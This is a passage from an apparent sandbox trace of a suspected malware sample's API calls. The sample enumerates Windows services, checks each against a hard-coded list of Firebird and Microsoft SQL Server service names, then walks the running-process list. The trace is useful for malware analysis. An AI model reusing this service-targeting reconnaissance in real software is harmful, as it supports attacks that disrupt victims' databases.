(lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0130.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0130.015] lstrlenW (lpString="ClickToRunSvc") returned 13 [0130.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0130.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0130.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0130.015] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0130.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.015] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0130.015] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0130.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0130.015] lstrlenW (lpString="CryptSvc") returned 8 [0130.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.015] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.015] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.016] lstrlenW (lpString="DcomLaunch") returned 10 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.016] lstrlenW (lpString="DeviceAssociationService") returned 24 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0130.016] lstrlenW (lpString="Dhcp") returned 4 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.016] lstrlenW (lpString="Dnscache") returned 8 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.016] lstrlenW (lpString="DoSvc") returned 5 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0130.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0130.016] lstrlenW (lpString="DPS") returned 3 [0130.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.016] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.016] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.017] lstrlenW (lpString="DusmSvc") returned 7 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0130.017] lstrlenW (lpString="EventLog") returned 8 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0130.017] lstrlenW (lpString="EventSystem") returned 11 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.017] lstrlenW (lpString="FontCache") returned 9 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0130.017] lstrlenW (lpString="gpsvc") returned 5 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.017] lstrlenW (lpString="iphlpsvc") returned 8 [0130.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.017] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0130.017] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0130.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0130.018] lstrlenW (lpString="KeyIso") returned 6 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0130.018] lstrlenW (lpString="LanmanServer") returned 12 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0130.018] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.018] lstrlenW (lpString="lfsvc") returned 5 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0130.018] lstrlenW (lpString="lmhosts") returned 7 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.018] lstrlenW (lpString="LSM") returned 3 [0130.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0130.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0130.018] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0130.018] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0130.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0130.019] lstrlenW (lpString="MapsBroker") returned 10 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0130.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0130.019] lstrlenW (lpString="MpsSvc") returned 6 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.019] lstrlenW (lpString="NcbService") returned 10 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0130.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0130.019] lstrlenW (lpString="netprofm") returned 8 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0130.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0130.019] lstrlenW (lpString="NlaSvc") returned 6 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.019] lstrlenW (lpString="nsi") returned 3 [0130.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.019] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.019] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.020] lstrlenW (lpString="PcaSvc") returned 6 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.020] lstrlenW (lpString="PlugPlay") returned 8 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.020] lstrlenW (lpString="Power") returned 5 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.020] lstrlenW (lpString="ProfSvc") returned 7 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.020] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.020] lstrlenW (lpString="RpcSs") returned 5 [0130.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.020] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.021] lstrlenW (lpString="SamSs") returned 5 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.021] lstrlenW (lpString="Schedule") returned 8 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.021] lstrlenW (lpString="SecurityHealthService") returned 21 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0130.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0130.021] lstrlenW (lpString="SENS") returned 4 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.021] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.021] lstrlenW (lpString="Spooler") returned 7 [0130.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.022] lstrlenW (lpString="sppsvc") returned 6 [0130.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0130.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0130.022] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0130.022] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0130.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0130.022] lstrlenW (lpString="SSDPSRV") returned 7 [0130.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0130.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0130.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0130.022] lstrlenW (lpString="StateRepository") returned 15 [0130.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0130.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0130.022] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0130.022] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0130.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43a1500 | out: hHeap=0x5b0000) returned 1 [0130.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c0 [0130.067] Process32FirstW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.068] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.069] lstrlenW (lpString="System") returned 6 [0130.069] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.070] lstrlenW (lpString="smss.exe") returned 8 [0130.070] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.071] lstrlenW (lpString="csrss.exe") returned 9 [0130.071] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.072] lstrlenW (lpString="wininit.exe") returned 11 [0130.072] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.072] lstrlenW (lpString="csrss.exe") returned 9 [0130.072] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.073] lstrlenW (lpString="winlogon.exe") returned 12 [0130.073] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.074] lstrlenW (lpString="services.exe") returned 12 [0130.074] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.075] lstrlenW (lpString="lsass.exe") returned 9 [0130.075] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.075] lstrlenW (lpString="svchost.exe") returned 11 [0130.076] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.076] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.076] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.077] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.077] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.078] lstrlenW (lpString="svchost.exe") returned 11 [0130.078] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.078] lstrlenW (lpString="dwm.exe") returned 7 [0130.078] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.079] lstrlenW (lpString="svchost.exe") returned 11 [0130.079] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.080] lstrlenW (lpString="svchost.exe") returned 11 [0130.080] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.080] lstrlenW (lpString="svchost.exe") returned 11 [0130.081] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, 